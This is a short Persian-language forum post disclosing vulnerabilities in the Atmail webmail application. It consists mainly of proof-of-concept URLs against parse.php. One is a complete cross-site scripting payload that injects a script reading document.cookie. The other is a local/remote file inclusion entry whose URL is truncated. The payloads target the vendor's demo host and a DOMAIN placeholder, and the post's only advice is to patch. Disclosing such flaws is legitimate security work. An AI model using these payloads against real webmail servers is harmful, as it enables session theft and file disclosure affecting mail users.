گرافیک باگ خطرناک در وب میل Atmail!

[Y.P.Y]

سلام،

یک باگ در وب میل Atmail:
برید Patch کنید:

XSS:
http://demo.atmail.org/parse.php?fi...lexp.html&FirstLoad=1&HelpFile=loginhelp.html

http://DOMAIN/parse.php?file=html/%22$this-%3Eusername%22%3Cscript%3Ealert(document.cookie);%3C/script%3E/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html

LFI/RFI:
http://demo.atmail.org/parse.php?fi...lexp.html&FirstLoad=1&HelpFile=loginhelp.html

http://DOMAIN/parse.php?file=html/....lexp.html&FirstLoad=1&HelpFile=loginhelp.html